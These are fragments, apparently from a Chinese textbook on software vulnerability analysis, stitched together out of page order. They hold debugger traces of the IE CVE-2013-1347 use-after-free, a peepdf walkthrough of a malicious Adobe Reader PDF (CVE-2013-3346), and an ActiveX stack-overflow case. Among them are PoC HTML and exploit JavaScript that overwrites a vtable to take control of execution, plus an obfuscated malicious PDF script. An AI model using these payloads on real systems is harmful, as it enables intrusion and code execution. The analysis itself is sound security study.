mshtml! CTable ::`vftable' …… 0:004> g '=== CElement ===' 05b423d0 65a55570 00000001 00000008 00000000 05b423e0 00000000 00000000 00000000 00000000 05b423f0 00000000 00000000 '=== CTreeNode ===' 05bdc028 05b423d0 05b423d0 65a59330 mshtml!CHRElement::`vftable' …… 0:004> g [*] Collect Garbage ... eax=0248cf48 ebx=0248cef8 ecx=005df1d8 edx=6a80c6dd esi=01711c30 edi=0248cee8 eip=6a80c6dd esp=0248cea8 ebp=0248cf0c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 jscript!JsAtan2: 6a80c6dd 8bff mov edi,edi 0:004> g [*] End !!! eax=0248cf48 ebx=0248cef8 ecx=005df1d8 edx=6a80c6dd esi=01711c30 edi=0248cee8 eip=6a80c6dd esp=0248cea8 ebp=0248cf0c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 jscript!JsAtan2: 6a80c6dd 8bff mov edi,edi 上面的CElement和CTreeNode是未赋值的情况，很多还是0初始化。"},
    {"text": "'=== CElement ===' 03b6d238 65419058 00000002 00000008 00000000 03b6d248 027d82b8 002b82a8 0000005b 80010200 03b6d258 00000006 06d25ba8 '=== CTreeNode ===' 002b82a8 03b6d238 03baf1f0 0002025b 00000001 002b82b8 00000a51 00000011 03baf338 002b7840 314 漏洞战争：软件漏洞分析精要 002b82c8 03bae990 002b7828 00000062 00000000 002b82d8 00000000 002b7840 002b7840 002b81e8 002b82e8 00000020 002e4a00 00000000 接下来，我们看下垃圾回收后，CGenericElement对象和CTable对象的变化，如图7-26和图7-27 所示（其中地址参考上面WinDbg输出的日志），f2的datalist子元素创建的CGenericElement对象已被 释放，但其CTreeNode依然存在，并且依然指向已释放的CGenericElement对象。"},
    {"text": "图7-26 CGenericElement和CTable对象的变化 图7-27 垃圾回收前后的对比，CTreeNode依然指向已释放的CTable 前面我们知道f0.offsetParent=null会使得未渲染的CTreeNode被误认为渲染过，如果我们把它删除 会发现CGenericElement的CTreeNode结构也会被清除，说明最终未被渲染的节点都会被清除： 0:005> g …… '=== CTreeNode ===' 第7章 释放重引用漏洞分析 315 06409248 06399f18 06408fd8 ffff0075 ffffffff 06409258 00000000 00000000 00000000 00000000 06409268 00000000 00000000 00000000 00000000 06409278 00000000 00000000 00000000 00000000 06409288 00000008 00000000 00000000 06399f18 605cc668 mshtml!CGenericElement::`vftable' 垃圾回收后，CGenericElement的CTreeNode结构已经被清除，被后面添加的hr元素占用了： 0:005> dd 06409248 06409248 05124720 06408f70 ffff0230 ffffffff 06409258 00000b51 00000012 06408f80 06408d90 06409268 06408f80 06409270 00000062 00000000 06409278 06408f98 06409258 06409258 06408f98 06409288 00000008 00000000 00000000 0511f7f0 06409298 34cb4c32 c2000000 053a8924 00000000 064092a8 00000002 05020018 00000000 00000018 064092b8 064092b0 00000000 064092b8 00740061 0:005> ln poi(05124720 ) (604c9330) mshtml!CHRElement::`vftable' | (607dca44) mshtml!`string' Exact matches: mshtml!CHRElement::`vftable' = <no type information> 继续执行下去会触发崩溃： 0:004> g (15d4.72c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=604663d0 ebx=00484590 ecx=003f4b70 edx=147d89ff esi=021bcc18 edi=00000000 eip=147d89ff esp=021bcbe8 ebp=021bcc04 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 147d89ff ?? ??? 查看崩溃时的栈回溯，发现上面很多地方引用到CGenericElement的CTreeNode地址作为参数（注 意：笔者重新加载IE运行，所以此处地址有所变更）： '=== CTreeNode ===' 0697eb08 0020d040 0697eab0 ffff0075 ffffffff 0697eb18 00000000 00000000 00000000 00000000 0697eb28 00000000 00000000 00000000 00000000 0697eb38 00000000 00000000 00000000 00000000 0697eb48 00000008 00000000 00000000 0020d040 603dc668 mshtml!CGenericElement::`vftable' 316 漏洞战争：软件漏洞分析精要 0:009> kv ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 02e5c79c 6048c81c 604ca6b3 02e5caec 0697eb08 0x0 02e5c7a0 604ca6b3 02e5caec 0697eb08 00000000 mshtml!CElement::Doc+0x7 (FPO: [0,0,0]) 02e5c7bc 604ca5bf 0697eb08 02e5caec 0697eb08 mshtml!CTreeNode::ComputeFormats+0xba 02e5ca68 604d928a 0697eb08 0697eb08 02e5ca88 mshtml!CTreeNode::ComputeFormatsHelper+0x44 02e5ca78 604d924a 0697eb08 0697eb08 02e5ca98 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11 02e5ca88 604d9231 0697eb08 0697eb08 02e5caa4 mshtml!CTreeNode::GetFancyFormatHelper+0xf 02e5ca98 60362a6f 0697eb08 02e5cab4 60362b8a mshtml!CTreeNode::GetFancyFormat+0x35 02e5caa4 60362b8a 00000000 0697eb08 02e5cac4 mshtml!ISpanQualifier::GetFancyFormat +0x5a 02e5cab4 60362b66 00000000 0025d5c0 02e5cafc mshtml!SLayoutRun::HasInlineMbp+0x10 02e5cac4 60380fed 00000000 00000000 0025d5c0 mshtml!SRunPointer::HasInlineMbp+0x56 02e5cafc 60334c1c 02e5cb1b 00000000 00000000 mshtml!CLayoutBlock::GetIsEmptyContent+0xf2 02e5cb34 605807ed 02e5cb9f 02e5cbb3 002bcdd0 mshtml!CLayoutBlock::GetIsEmptyContent+0x3f 02e5cb80 6037059e 0020d780 002bcd10 0697e978 mshtml!CBlockContainerBlock::BuildBlockContainer+0x250 02e5cbb8 60371340 002bcd10 00000000 0020d740 mshtml!CLayoutBlock::BuildBlock+0x1c1 02e5cc7c 60372226 012bcd10 002036a0 02e5cca3 mshtml!CCssDocumentLayout::GetPage+0x22a 02e5cdec 604d61cc 02e5cfb0 02e5cf48 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x254 02e5cf24 604e678b 002036a0 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8 02e5d020 603a9481 00100000 02e5d078 0029f788 mshtml!CLayout::DoLayout+0x11d 02e5d034 6049f89f 02e5d078 02e5d078 604d4c6d mshtml!CCssPageLayout::Notify+0x140 02e5d040 604d4c6d 00000000 0020c530 00000000 mshtml!NotifyElement+0x41 (FPO: [0,0,1]) 最早引用CGenericElement的CTreeNode地址的是ISpanQualifier::GetFancyFormat函数，因此从该 函数入手开始分析，先对其下断点。"},
    {"text": "图7-28 通过eax传递CTreeNode结构 第7章 释放重引用漏洞分析 317 而ISpanQualifier::GetFancyFormat函数的eax可能来自于SLayoutRun::HasInlineMbp函数里的edi， 如 图 7-29 所 示 ， 之 所 以 这 么 说 是 因 为 在 调 用 SLayoutRun::HasInlineMbp 函 数 之 前 还 调 用 了 SRunPointer::SpanQualifier函数，并且尚未知道它是否修改了eax值。 图7-29 ISpanQualifier::GetFancyFormat函数的eax可能来自于SLayoutRun::HasInlineMbp函 数里的edi 反汇编分析下SRunPointer::SpanQualifier函数，发现它确实修改了eax值，使得eax=[[eax+4]+c]（如 图7-30所示）。"},
    {"text": "图7-30 SRunPointer::SpanQualifier函数 318 漏洞战争：软件漏洞分析精要 若对SRunPointer::SpanQualifier函数下断点会被断下很多次，因此这里选择设置条件断点去追踪 崩溃前的eax+4值： 0:024> bu mshtml!SRunPointer::SpanQualifier \".echo '======eax+4=========';dd eax+4;g\" 0:024>g …… [*] Set f0 offsetParaent NULL ... …… '======eax+4=========' 021bd290 00149990 00000000 0011b320 021bd2d4 021bd2a0 60524c1c 021bd2bb 00000000 00000000 021bd2b0 021bd3e0 60595ca0 0000d2cc 00000000 021bd2c0 00000051 021bd33b 606b128f 021bd320 021bd2d0 6055cd2b 021bd320 607707ed 021bd33f 021bd2e0 021bd353 056252a0 021bd410 00000002 021bd2f0 05673370 00000000 021bd353 0011b300 021bd300 021bd401 056735d8 00000000 05673370 (11fc.1454): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=605963d0 ebx=05673608 ecx=0011ac20 edx=147d89ff esi=021bcf70 edi=00000000 eip=147d89ff esp=021bcf40 ebp=021bcf5c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 147d89ff ?? ??? 0:005> dd 00149990 00149990 00000805 00000002 05673618 05673608 001499a0 00000806 00000003 05673630 05673608 001499b0 00000806 00000004 056735d8 056735b0 …… 0:005> dd 056735d8 056735d8 00000072 00000000 00000000 05673370 056735e8 056735c0 05673370 00000040 05690db8 056735f8 00000000 00010162 19401467 8c0000e2 05673608 0011ac20 00000000 ffff0075 ffffffff 05673618 00000071 00000000 00000000 00000000 05673628 00000000 05673630 00000152 00000001 05673638 00000000 00000000 05673618 00000000 05673648 00000010 00000000 00000000 004e0049 0:005> dd 056735b0 056735b0 05612ca0 05673348 0002025b 00000001 第7章 释放重引用漏洞分析 319 056735c0 00000161 00000002 05673568 05673478 056735d0 05673580 056735d8 00000072 00000000 056735e0 00000000 05673370 056735c0 05673370 056735f0 00000040 05690db8 00000000 00010162 05673600 19401467 8c0000e2 0011ac20 00000000 05673610 ffff0075 ffffffff 00000071 00000000 05673620 00000000 00000000 00000000 05673630 0:005> ln poi(poi(056735b0)) (605b9058) mshtml!CSpanElement::`vftable' | (604c7448) mshtml!CBlockElement::`vftable' Exact matches: mshtml!CSpanElement::`vftable' = <no type information> 整个过程是在设置f0.offsetParent=null时发生的，从中可以看出eax+4指向的是一个数组列表地 址，每个数组偏移+4的地址是数组的ID值，偏移+08即是CTreePos地址，用于标记该元素在DOM树 的位置，偏移+0C则为元素的CTreeNode地址。"},
    {"text": "图7-31 开始UST栈回溯记录 0:005> !heap -p -a 00149990 address 00149990 found in _HEAP @ 90000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 00149978 0009 0000 [00] 00149980 00040 - (busy) 77a4ddac ntdll!RtlAllocateHeap+0x00000274 6067e9c0 mshtml!_HeapRealloc+0x00000036 60694687 mshtml!CImplAry::EnsureSizeWorker+0x000000a6 6063a870 mshtml!CImplAry::AppendIndirect+0x00000027 60579b89 mshtml!CTextBlock::AddAtomRun+0x00000105 60582bb8 mshtml!CTextBlock::BuildSpanBeginRun+0x000000c4 60573ec1 mshtml! CTextBlock::BuildTextBlock +0x00000aeb 60573538 mshtml! CLayoutBlock::BuildBlock +0x000001ec 60560825 mshtml!CBlockContainerBlock::BuildBlockContainer+0x0000059d 6056059e mshtml!CLayoutBlock::BuildBlock+0x000001c1 60560825 mshtml!CBlockContainerBlock::BuildBlockContainer+0x0000059d 320 漏洞战争：软件漏洞分析精要 6056059e mshtml!CLayoutBlock::BuildBlock+0x000001c1 60560825 mshtml!CBlockContainerBlock::BuildBlockContainer+0x0000059d 6056059e mshtml!CLayoutBlock::BuildBlock+0x000001c1 …… 由上面的栈回溯信息可以推测出element_array列表是在构造CTextBlock时生成的，前面章节我们 曾分析过：CTreeNode+0x44保存着CTextBlock结构地址。 笔者通过设置条件断点记录CTextBlock与 element_array列表地址，最后发现CTextBlock+0x58保存着element_array列表数据： 0:005> dd 064e9100 l13;ln poi(poi(064e9100)); 064e9100 00558790 064e8e90 00020275 00000001 064e9110 00000151 00000001 064e8ea0 06462bd0 064e9120 064e8ea0 064e9128 00000072 00000000 064e9130 00000000 064e8eb8 064e9110 064e8eb8 064e9140 00000018 0647d718 00000000 (605cc668) mshtml!CGenericElement::`vftable' | (605f1450) mshtml!CHeaderElement::`vftable' Exact matches: mshtml!CGenericElement::`vftable' = <no type information> 0:005> dd poi(poi(064e9100+0x44)+0x58) 06466920 00000805 00000001 064e8ea0 064e8e90 06466930 00000805 00000002 064e9110 064e9100 06466940 00000806 00000003 064e9128 064e9100 06466950 00000806 00000004 064e8eb8 064e8e90 综上所述，目前我们可以得到以下关键信息： CElement + 0x14 => CTreeNode CTreeNode + 0x0 => CElement CTreeNode + 0x4 => Parent CTreeNode CTreeNode + 0xC => Char Format CTreeNode + 0x44 => CTextBlock CTextBlock + 0x58 => element_array element_array结构： +00：unkown +04：ID +08：CTreePos +0C：CTreeNode 另外，笔者通过分析调试结合网上搜索到的信息，获得CTextBlock的部分结构信息（在IE5源码 中未搜索到关于CTextBlock的相关信息，因此采用逆向手段去分析）： CTextBlock 结构： +00：vftable 第7章 释放重引用漏洞分析 321 +04：count +0c：startPos +10：endPos +1c：Prev +20：Next +58：element_array 以CGenericElement的CTextBlock结构为例： 0:004> dps 0661a260 0661a260 5ce363f4 mshtml!CTextBlock::`vftable' 0661a264 00000003 0661a268 00a64497 0661a26c 0660d580 // 值为 0x51，startPos 0661a270 0660d598 // 值为 0x62，endPos 0661a274 06698a88 0661a278 00000000 0661a27c 0660d918 // Prev，前一个 CTextBlock 结构指针 0661a280 00000000 // Next，暂无下一个 CTextBlock 结构指针 0661a284 0669b218 0661a288 ffffffff 0661a28c ffffffff …… 0661a2b8 0669b110 // element_array // 0:004> dd 0669b110 // 0669b110 00000805 00000001 0660d580 0660d570 // 0669b120 00000805 00000002 0660d5e8 0660d5d8 // 0669b130 00000806 00000003 0660d600 0660d5d8 // 0669b140 00000806 00000004 0660d598 0660d570 7.4.4 追本溯源：探寻漏洞的本质 为了弄清导致漏洞的根本原因，我们重新分析垃圾回收后，Body主体元素的CTextBlock结构中 element_array的变化情况。 关于上面几个结构的追踪方法已经分析过，直接设置以下断点进行分析： 0:027> bu jscript!JsAtan2 \".printf \\\"%mu\\\",poi(poi(poi(esp+14)+8)+8);.echo;\" 0:027> bu mshtml!CElement::CElement+0x1e \".echo '=== CElement ===';dd edi l(28/4);gc\" 0:027> bu mshtml!CreateElement+0x41 \"ln eax;gc\" Matched: 654612fa mshtml!CreateElement = <no type information> Matched: 6549e4fc mshtml!CreateElement = <no type information> Ambiguous symbol error at 'mshtml!CreateElement+0x41 \"ln eax;gc\"' 0:027> bu 6549e4fc+37 \"ln eax;gc\" 322 漏洞战争：软件漏洞分析精要 0:027> bu mshtml!CMarkup::InsertElementInternal+1ec \".echo '=== CTreeNode ==='; dd eax l13;dps poi(eax) l1; gc\" 在执行垃圾回收之后，虽然f0和f1的innerHTML被清空，但是f2 CTextBlock里面的element_array 依然是span嵌套着datalist元素（CGnericElement对象）。"},
    {"text": "也就是说，虽然DOM树结构已变，但在内 存中保存着DOM树关系结构的CTextBlock并没有及时更新： 0:005> g [*] End !!! eax=0312ce98 ebx=0312ce48 ecx=02a38308 edx=6870c6dd esi=02a51130 edi=0312ce38 eip=6870c6dd esp=0312cdf8 ebp=0312ce5c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 jscript!JsAtan2: 6870c6dd 8bff mov edi,edi 0:005> .echo \"======= f2 span element_array ========\";dd poi(poi(05545060+0x44)+0x58) ======= f2 span element_array ======== 06e752c0 00000805 00000001 05545070 05545060 // f2 span start 06e752d0 00000805 00000002 06e884a0 06e88490 // f2 datalist start 06e752e0 00000806 00000003 06e884b8 06e88490 // f2 datalist end 06e752f0 00000806 00000004 05545088 05545060 // f2 span start 此时的CGenericElement对象（CTreeNode地址：06e88490。"},
    {"text": "0:005> g (6542c5b2) mshtml!CGenericElement::CreateElement | (6542c5f7) mshtml!CGenericElement::CGenericElement Exact matches: mshtml!CGenericElement::CreateElement = <no type information> '=== CElement ===' 00439df0 65325570 00000001 00000008 00000000 00439e00 00000000 00000000 00000000 00000000 00439e10 00000000 00000000 0:005> !heap -p -a 00439df0 address 00439df0 found in _HEAP @ 3f0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 00439dd8 000a 0000 [00] 00439de0 00048 - (free) 假如把PoC中的“f0.offsetParent=null;”一行代码去掉，会发现垃圾回收后f2(span)已经不存在 CTextBlock和element_array结构了，正是该代码才导致漏洞产生的： 第7章 释放重引用漏洞分析 323 [*] Create f2(span)... 0:005> g (659e900c) mshtml!CSpanElement::CreateElement | (659e9058) mshtml!CSpanElement::`vftable' Exact matches: mshtml!CSpanElement::CreateElement = <no type information> '=== CElement ===' 06a45118 658f5570 00000001 00000008 00000000 06a45128 00000000 00000000 00000000 00000000 06a45138 00000000 00000000 '=== CTreeNode ===' 06a06680 06a45118 06a061a0 ffff005b ffffffff …… [*] End !!! 0:005> dd poi(poi(06a06680+44)+58) Memory access error at ')' 接下来，程序调用下列语句，在f0中添加hr子元素，这会重新改变DOM树结构，此时就需要遍 历DOM树结构，其中就包括已释放的CGenericElement对象： f0.appendChild(document.createElement('hr')); 执行完JavaScript代码后会重新渲染页面，重新计算节点格式，从而引用到指向已释放对象 CGnericElement的CTreeNode结构，最后触发漏洞。"},
    {"text": "总结 （1） 代码中对 f0.offsetParent 进行置空，会设置 iCF 格式整数值为 1，使得它不做节点格式计算，相 当于被标记为已渲染的状态，由于设置的是 f0 的父节点 body，会导致其相邻的 f1 和 f2 都受影 响，各个 CTreeNode 中的 iCF 值均被置 1，使得原本未被渲染的它们误以为被渲染了。"},
    {"text": "（3） 垃圾回收后，由于第 1 步中的原因，导致 CGnericElement 的 CTreeNode 结构未被删除，虽然 此时 DOM 树结构已变，但用于构建页面布局的 CTextBlock 也依然保存着对 CGnericElement 的引用，而此时 CGnericElement 早已因为 f2.innerHTML 被清空而释放掉，最终导致 UAF 漏 洞的发生。 从上面这些信息可以知道，其中导致漏洞的原因跟f0、f1、f2里面的元素关系不大，但必须是块 元 素 （ 否 则 不 会 进 入 CLayoutBlock::BuildBlock 构 建 CTextBlock ） 和 内 联 元 素 （ 从 SLayoutRun::HasInlineMbp获知），比如其中的span、datalist内联元素可以替换成u下画线或者a标签 这样的内联元素，此时导致崩溃的对象就不是CGnericElement，而可能是CAnchorElement或者 324 漏洞战争：软件漏洞分析精要 CSpanElement对象，关键在于你在PoC中所设置的具体元素，而块元素table，也是可以用p或div这样 的块元素代替的，但hr暂未发现可替换的块元素，只有它才会去遍历寻找CTreeNode，进入漏洞触发 流程。 (bb4.1108): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0d3460c0 ebx=0f32efb0 ecx=0e8cef98 edx=00000000 esi=0623c8a0 edi=00000000 eip=0cfbc815 esp=0623c874 ebp=0623c88c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement::Doc: 0cfbc815 8b01 mov eax,dword ptr [ecx] ds:0023:0e8cef98=???????? 0:009> !heap -p -a ecx address 0e8cef98 found in _DPH_HEAP_ROOT @ 161000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) e5cf4e0: e8ce000 2000 725c90b2 verifier!AVrfDebugPageHeapFree+0x000000c2 76ee6643 ntdll!RtlDebugFreeHeap+0x0000002f 76eaa0ee ntdll!RtlpFreeHeap+0x0000005d 76e76536 ntdll!RtlFreeHeap+0x00000142 76c8c3d4 kernel32!HeapFree+0x00000014 0d0283c3 mshtml!CAnchorElement::`vector deleting destructor' +0x00000028 …… 所以该漏洞跟CGnericElement对象并没有任何关系，只是原漏洞发现者提供的PoC刚好使用 datalist这个元素，才导致CGnericElement对象被释放重引用，也因此被国内外许多安全研究人员命名 为CGnericElement UAF漏洞，本节依然用它命名，大家都早已习惯用该名称代替CVE-2013-1347漏洞， 但并不代表这就是导致漏洞的根本原因。"},
    {"text": "<script> …… CollectGarbage(); …… // 使用 t:ANIMATECOLOR 标签可以自由设置其内容，控制对象大小 第7章 释放重引用漏洞分析 325 a = document.getElementById('myanim'); a.values = animvalues; …… </script> …… <t:ANIMATECOLOR id=\"myanim\"/> t:ANIMATECOLOR 标签值是一个用分号分隔的字符串，分号的个数决定对象的大小。"},
    {"text": "for(i = 0; i < 13; i++) { animvalues += \";red\"; } 然后用第一个分号前面的字符串覆盖虚表指针，通过分析导致崩溃的mshtml!CElement::Doc函 数，可以发现函数在调用虚函数前是通过偏移虚表0x70进行索引的。 mshtml!CElement::Doc: 6586c815 8b01 mov eax,dword ptr [ecx] 6586c817 8b5070 mov edx,dword ptr [eax+70h] 6586c81a ffd2 call edx 因此，这里采用0x70/4精确控制edx值： animvalues = \"\"; for (i=0; i <= 0x70/4; i++) { // t:ANIMATECOLOR 标签的第一个对象用于覆盖虚表指针 // 由于索引虚函数时，需要偏移 0x70，所以这里采用 0x70/4 精确控制 edx 值 if (i == 0x70/4) { //animvalues += unescape(\"%u5ed5%u77c1\"); animvalues += unescape(\"%u4141%u4141\"); // 控制 edx=0x41414141 } else { animvalues += unescape(\"%u4242%u4242\"); // 0x42424242 } } 在Windows 7 + IE8的环境下执行上述代码，发现程序成功执行到0x41414141（如图7-32所示）， 最后只须结合ROP技术即可实现任意代码执行。"},
    {"text": "326 漏洞战争：软件漏洞分析精要 图7-32 成功控制程序流程 7.5 CVE-2013-3346 Adobe Reader ToolButton UAF漏洞 7.5.1 “Epic Turla”网络间谍攻击行动 2014年8月， 卡巴斯基反病毒实验室曝光了一起当时最为复杂的APT网络间谍攻击行动—“Epic Turla”，攻击目标主要为政府机构（内务部、贸易和商务部、外交部和情报部门等）、大使馆、军 事组织、研究和教育组织及制药企业，攻击中东及欧洲各国，影响范围超过45个国家，也正因为其 影响之广，被称为“世界十大最危险的网络攻击”之一。"},
    {"text": "在此次攻击行动中，主要用到2个0day漏洞：CVE-2013-3346（Adobe Reader ToolButton UAF） 和CVE-2013-5065（Windows本地内核提权漏洞），其中的提权漏洞主要用于绕过Adobe Reader的沙 盒保护，但在本节主要是分析此次攻击行动中所使用的PDF漏洞，攻击者主要将恶意PDF以邮件附件 的形式发送给受害者，当受害者打开恶意PDF后，攻击者即可完全控制受害者电脑。"},
    {"text": "7.5.2 使用peepdf分析PDF恶意样本 本次漏洞分析的测试环境如表7-4所示。 表7-4 测试环境 推荐使用的环境 备注 操作系统 Windows 7 SP1 简体中文旗舰版 漏洞软件 Adobe Reader 版本号：11.0.00 简体中文版 调试器 WinDbg 版本号：6.1.0001.404 反汇编器 IDA Pro 版本号：6.6 在2012年的Black Hat Arsenal（Europe 2012）大会上，一款用于分析恶意PDF文件的工具发布， 名称叫peepdf。"},
    {"text": "peepdf是支持跨平台的，因此 读者若在Windows上使用，操作也是一样的，并不会有太大变化，只是在安装peepdf所需模块上会有 所差异。 先看下peepdf的使用参数，关键还是-i与-f参数，其中i参数开启控制台交互模式，而f参数则忽略 错误强制解析PDF，可以避免因错误导致中断退出： Usage: peepdf.py [options] PDF_file Version: peepdf 0.3 r249 Options: -h, --help show this help message and exit -i, --interactive Sets console mode. -s SCRIPTFILE, --load-script=SCRIPTFILE Loads the commands stored in the specified file and execute them. -c, --check-vt Checks the hash of the PDF file on VirusTotal. -f, --force-mode Sets force parsing mode to ignore errors. -l, --loose-mode Sets loose parsing mode to catch malformed objects. -m, --manual-analysis Avoids automatic Javascript analysis. Useful with eternal loops like heap spraying. -u, --update Updates peepdf with the latest files from the repository. -g, --grinch-mode Avoids colorized output in the interactive console. -v, --version Shows program's version number. -x, --xml Shows the document information in XML format. 用peepdf分析实际样本文件cve-2013-3346_sample.pdf，如果不加-f参数会出现如下错误并退出： $ ./peepdf.py -i ../cve-2013-3346_sample.pdf Error: An error has occurred while parsing an indirect object!! 使用-f参数后会正常解析出来，并成功进入命令行控制台： $ ./peepdf.py -i -f ../cve-2013-3346_sample.pdf File: cve-2013-3346_sample.pdf MD5: 6776bda19a3a8ed4c2870c34279dbaa9 SHA1: ad6a3564e125683a791ee98c5d1e66e1d9c6877d Size: 177511 bytes 328 漏洞战争：软件漏洞分析精要 Version: 1.1 Binary: False Linearized: False Encrypted: False Updates: 0 Objects: 4 Streams: 2 Comments: 0 Errors: 1 Version 0: Catalog: 1 Info: No Objects (4): [1, 2, 3, 10] Errors (1): [3] Streams (2): [10, 3] Encoded (0): [] Objects with JS code (1): [3] ### 对象 3 是一段 JavaScript 代码 Suspicious elements: /AcroForm: [1] /OpenAction: [1] ### OpenAction 是打开 PDF 文件后执行的动作，此处引用对象 1 /XFA: [1] /JS: [2] /JavaScript: [2] PPDF> help Documented commands (type help <topic>): ======================================== bytes exit js_join quit set changelog filters js_unescape rawobject show create hash js_vars rawstream stream decode help log references tree decrypt info malformed_output replace vtcheck embed js_analyse metadata reset xor encode js_beautify modify save xor_search encode_strings js_code object save_version encrypt js_eval offsets sctest errors js_jjdecode open search 我们看下上面输出的PDF格式的解析情况，其中关键的是/OpenAction元素的输出，它引用对象1， 第7章 释放重引用漏洞分析 329 那么对象1是什么数据呢？"},
    {"text": "可以借助控制台提供的object命令来解决，通过输入“help 命令名称”可 以查看命令对应的用法： PPDF> help object Usage: object $object_id [$version] Shows the content of the object after being decoded and decrypted. PPDF> object 1 << /AcroForm << /Fields [ << /Parent 10 0 R /Kids [ << /Ff 99999 /MK << /TP 1 >> /Rect [ 0 0 0 0 ] /FT /Btn /T ImageField1[0] /Subtype /Widget >> ] /T SubFormNumberOne[0] >> ] /XFA [ 10 0 R ] >> /OpenAction 2 0 R ### 注意这里引用对象 2 /Pages 2 0 R >> 继续看下对象2的内容，它引用到包含JavaScript代码的对象3： PPDF> object 2 << /S /JavaScript /JS 3 0 R >> PPDF> object 3 << >> stream if(app.media.getPlayers().length >= 1) Q=~[];Q={___:++Q,$$$$:(![]+\"\")[Q],__$:++Q,$_$_: (![]+\"\")[Q],_$_:++Q,$_$$:({}+\"\")[Q],$$_$:(Q[Q]+\"\")[Q],_$$:++Q,$$$_:(!\"\"+\"\")[Q],$__:++Q, $_$:++Q,$$__:({}+\"\")[Q],$$_:++Q,$$$:++Q,$___:++Q,$__$:++Q};Q.$_=(Q.$_=Q+\"\")[Q.$_$]+(Q._ ……省略部分内容……+Q.$__+Q.___+\"\\\\\\\"\\\\\"+Q.__$+Q.$$_+Q._$$+\"\\\\\\\";\\\\\"+Q.__$+Q.$_$+\"\\\\\"+ Q.__$+Q._$_+\"}\"+\"\\\"\")())(); endstream 对象3的JavaScript代码是经过jjencode加密处理的，无法直接阅读，但庆幸的是peepdf提供了解 密工具js_jjdecode： 330 漏洞战争：软件漏洞分析精要 PPDF> help js_jjdecode Usage: js_jjdecode variable $var_name Usage: js_jjdecode file $file_name Usage: js_jjdecode object $object_id [$version] Decodes the Javascript code stored in the specified variable, file or object using the jjencode/decode algorithm by Yosuke Hasegawa (http://utf-8.jp/public/jjencode.html) PPDF> js_jjdecode object 3 *** Error: No match in the code!! 可以看到这里直接解密object 3的话会出错，因为里面包含一些无关内容，js_jjdecode解密的是从 “Q=~[];”开始的数据，但object 3里面包含其他内容，所以笔者先将object 3保存到文件jsencode中， 然后做一些删除，如图7-33所示。"},
    {"text": "我们把样本中的数据带入上述表达式得到： v96 = 0x0C0F 60 漏洞战争：软件漏洞分析精要 v16 = 0x2020 v97 = 0x4 v96 > v16/v97 （0x0C0F > 0x0808） 这里0x2020是用于计算最大拷贝字节数的，而0x0C0F * 0x4是作为偏移量来计算拷贝的目标地址 的，显然这里条件成立，会执行goto LABEL_188跳转，因此不会调用到漏洞函数，修复后的程序运 行样本后并不会复制CONTINUE[0x3C] Record上的数据到栈上，从而防止栈溢出的发生。"},
    {"text": "2.6 阿里旺旺ActiveX控件imageMan.dll栈溢出漏洞 2.6.1 漏洞描述 淘宝阿里旺旺的ActiveX控件imageMan.dll中的AutoPic函数由于未对参数长度进行有效检测，导 致存在栈溢出漏洞，利用漏洞可远程执行任意代码。"},
    {"text": "表2-4 测试环境 推荐使用的环境 备注 操作系统 Windows XP SP3 简体中文版 虚拟机 VirtualBox 版本号：4.1.8 调试器 Immunity Debugger 版本号：1.73 反汇编器 IDA Pro 版本号：6.1 漏洞软件 阿里旺旺 版本号：6.50.00C 2.6.3 针对ActiveX控件的漏洞分析方法 此处以AliIM2010_taobao(6.50.00C)作为漏洞程序进行调试，PoC代码如下： <html> <body> <object classid=\"clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF\" id=\"target\"></object> <script> var buffer = ''; while (buffer.length < 1111) buffer+=\"A\"; 第2章 栈溢出漏洞分析 61 target.AutoPic(buffer,\"defaultV\"); </script> </body> </html> 关于ActiveX控件中的函数调试跟进，可使用以下方法。"},
    {"text": "（1） 首先，按“ALT + E”组合键，找到可执行模块 OLEAUT32，双击进入。 （2） 按“Ctrl + N”组合键，找到函数名 DispCallFunc，双击进入。 （3） 找到 DispCallFunc 函数中首个 CALL ECX，在此处下断，然后动态调试，通过调试器上的 F7 键跟进即是漏洞函数。 在CALL ECX断下后，可以看到传递的参数buffer，如图2-53所示。 图2-53 传递超长字符串用于触发溢出 接着，F7跟进call ecx，来到ImageMan.dll中对应的AutoPic函数0x01C9AB7F： 01C9AB7F 55 PUSH EBP 01C9AB80 8BEC MOV EBP,ESP 01C9AB82 81EC 1C030000 SUB ESP,31C ; 分配栈空间 0x31C 62 漏洞战争：软件漏洞分析精要 01C9AB88 57 PUSH EDI 01C9AB89 C685 F8FDFFFF 00 MOV BYTE PTR SS:[EBP-208],0 01C9AB90 B9 40000000 MOV ECX,40 01C9AB95 33C0 XOR EAX,EAX 01C9AB97 8DBD F9FDFFFF LEA EDI,DWORD PTR SS:[EBP-207] 01C9AB9D F3:AB REP STOS DWORD PTR ES:[EDI] 01C9AB9F 66:AB STOS WORD PTR ES:[EDI] 01C9ABA1 AA STOS BYTE PTR ES:[EDI] 01C9ABA2 6A 00 PUSH 0 01C9ABA4 6A 00 PUSH 0 01C9ABA6 68 04010000 PUSH 104 01C9ABAB 8D85 F8FDFFFF LEA EAX,DWORD PTR SS:[EBP-208] 01C9ABB1 50 PUSH EAX 01C9ABB2 6A FF PUSH -1 01C9ABB4 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C] ; 超长字符串参数 buffer 01C9ABB7 51 PUSH 